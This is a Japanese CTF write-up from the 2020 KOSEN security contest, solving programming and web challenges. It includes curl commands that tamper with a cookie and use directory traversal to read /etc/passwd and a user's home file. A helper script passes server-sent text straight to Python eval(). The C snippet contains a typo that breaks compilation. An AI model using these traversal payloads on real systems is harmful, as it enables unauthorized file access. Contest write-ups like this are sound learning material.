概要
11月14日にオンライン開催で行われた高専セキュリティ・コンテスト（高専セキュコン、#sckosen）に参加しました。チーム名は「面倒なことをPythonに任せたらPythonが人類を超えた回」で、結果はスコア2560で51チーム中11位でした。この記事では、僕が担当した問題について書ける範囲で解説します。
練習問題 （10 pts）
練習用のフラグ。問題文のフラグをコピー&ペースト。
フラグは忘れました。
足し算しよう（50 pts）
1000から10000までを足した数がフラグ。C言語でときました。
#include <stdio.h>
int main(void) {
int n = 1000;
int sum = 0;
while (n <= 10000) {
sum += n:
n++;
}
printf("FLAG{%d}", sum);
return 0;
}
フラグは FLAG{49505500} 。
おいしく焼けました （100 pts）
「${N}枚クッキーが焼けました」と表示がされるWebサイト。
アクセスするたびに表示される数字が1ずつ増えました。
cookie上に設定されたvisitedという値が1ずつ増え、表示に関係していそうだったため、curlで大きい値を設定してみると10e^19にしろというヒントを貰いました。
curl -i -b "visited=10000000000000000000" http://52.175.155.247:8088/cookie.php
フラグは忘れました。
熱血計算塾 (50 pts)
足し算や引き算の問題をいっぱい出してくれるサーバ。
運営から配布された auto_calc_sample_v3.py に、与えられた式を計算する処理を追加しました。
#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import decimal
import re
import time
def netcat(hostname, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((hostname, port))
nop = re.compile("ok",re.IGNORECASE)
while 1:
data = s.recv(1024)
if data == "":
continue
if data.decode('utf-8').strip() == "Let's solve a simple math problem.Please hit Enter key":
s.sendall(bytes("\n", "utf-8"))
elif nop.search(data.decode('utf-8')):
print (data.decode('utf-8'))
pass
else:
#data 変数に、サーバから送られてくる問題文が含まれる
print (data.decode('utf-8'))
try:
#ここに計算する処理を記述する
print(data.decode('utf-8')[:-2])
answer = eval(data.decode('utf-8')[:-2])
#answer = 計算結果をanswer変数に格納して、answer の値をサーバに送る
print (answer)
s.sendall(bytes(str(answer) + "\n","utf-8"))
except:
print ("flag?\n")
break
shutdown(s)
def shutdown(s):
print ("Connection closed.")
s.shutdown(socket.SHUT_WR)
s.close()
if __name__ == '__main__':
netcat("52.175.155.247", 5555)
値段の比較はお手の物 (200 pts)
15秒でリロードされてしまうWebサイトで、商品一覧から条件にあった商品名を見つけて150回解答し続ける問題。条件や商品一覧の表はリロードする度に変わり、ミスすると最初からやり直しになります。
条件は 「${N}番目に{高, 安}い商品」、「最{高, 安}値の商品」というように記述されています。
画面から商品データを読み取り、自動で解答フォームに名前をセットし送信するスクリプトをJavaScriptで書き、開発者ツールのコンソールで手動実行し続けました。（150回）
商品名と価格を入れたオブジェクトを配列にプッシュしていき、価格でソートしてN番目を抽出し、その商品名をフォームに入力しました。
条件文に「高」の文字があるかどうかでソートが降順か昇順かを決めました。「最」の字が含まれていた場合Nは1としました。
150回繰り返すのはチームメイトにも手伝ってもらいました。自動化したかったけど思いつきませんでした・・・。
n = -1
high = false;
prices = []
n = Number(document.getElementById("message").innerText.split("番")[0]);
if (document.getElementById("message").innerText.split("高").length > 1)
high = true;
else {
high = false;
}
if (document.getElementById("message").innerText.split("最").length > 1)
n = 1;
for (let i = 0; i < document.getElementsByName("price").length; i++) {
let p = Number(document.getElementsByName("price")[i].innerText.split("：")[1].split("円")[0])
let item = document.getElementsByName("item")[i].innerHTML.split("<br>")[1];
prices.push({item: item, p: p});
}
function compare(a,b) {
let comp = 0;
if (a.p > b.p) {
comp = 1;
} else if (a.p < b.p) {
comp = -1;
}
if (high)
return -1*comp;
else
return comp;
}
prices.sort(compare);
document.getElementById("name").value = prices[n-1].item;
document.getElementsByTagName("button")[0].click();
フラグは FLAG{けんじつなありのさんもわすれないでね}
15game (200 pts)
1から交互に1つ〜3つずつ番号を数えていき、「15」と言ったほうが負け、という「15game」を拡張した、「交互にa個ずつ数えNと言ったほうが負け」というルールで対戦するプログラムを作る問題。
チームメイトに教えてもらった以下のサイトを参考にし、Pythonプログラムを書きました。
https://ameblo.jp/ben-joh/entry-11307463378.html
#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import decimal
import re
import time
def netcat(hostname, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((hostname, port))
badnum = -1
once = -1
say_min = -1
say_max = -1
while 1:
data = s.recv(1024)
if data.decode('utf-8')[0] == "#":
once = int(data.decode('utf-8').split("\n")[2].split(" ")[2])
badnum = int(data.decode('utf-8').split("\n")[3].split(" ")[2])
print(once, badnum)
say_min = 1
say_max = (badnum-1)%(once+1)
answer = "{}:{}".format(say_min, say_max)
print (answer)
s.sendall(bytes(str(answer) + "\n","utf-8"))
if data.decode('utf-8')[0:9] == "My turn":
enemy_min = int(data.decode('utf-8').split("\n")[0].split(": ")[1].split(":")[0])
enemy_max = int(data.decode('utf-8').split("\n")[0].split(": ")[1].split(":")[1])
print(enemy_min, enemy_max)
say_min = enemy_max + 1
say_max = say_min + once - (enemy_max-enemy_min+1)
answer = "{}:{}".format(say_min, say_max)
print (answer)
s.sendall(bytes(str(answer) + "\n","utf-8"))
shutdown(s)
def shutdown(s):
print ("Connection closed.")
s.shutdown(socket.SHUT_WR)
s.close()
if __name__ == '__main__':
netcat("52.175.155.247", 10001)
フラグは忘れました。
デバッガ (200 pts)
拡張子exeのWindows用実行ファイルを実行する問題。
僕はGNU/LinuxしかOSを持っていないため、wineをインストールして実行しました。するとフラグが出力されました。Windowsであればただ実行するだけではフラグが出力されない？（未確認）
wine checker.exe
出力は以下
=====================================================================
Welcome!!!
If you resolved this problem, the flag will be output...
=====================================================================
FLAG{hXT57e8j}
フラグは FLAG{hXT57e8j} 。
PHP Beginner Practice 1 （200 pts）
脆弱性を利用しサーバ上のユーザのホームディレクトリにあるフラグファイルを取得する問題。
公開されているWebページreadFile.phpはPHPで書かれて、POSTしたデータを元にファイルを読み込み表示しているようです。ディレクトリトラバーサルの脆弱性が使えそうなので以下を実行しユーザ一覧をみました。
curl -X POST -F "file=../../../../etc/passwd" http://52.175.155.247:8103/readFile.php
そして見つけたユーザのホームディレクトリの user.txt にアクセスし、フラグをGETしました。
curl -i -X POST -F "file=../../../../home/dachshund/user.txt" http://52.175.155.247:8103/readFile.php
フラグは忘れました。
感想
KOSENセキュリティ・コンテストへ初めて参加しました。楽しんで問題を解け、参加してよかったなあと思いました。チームメイトと助け合ってすすめられた点も良い経験となりました。今後もCTFを続けていきたいです。
更新
- 作成：2020年11月15日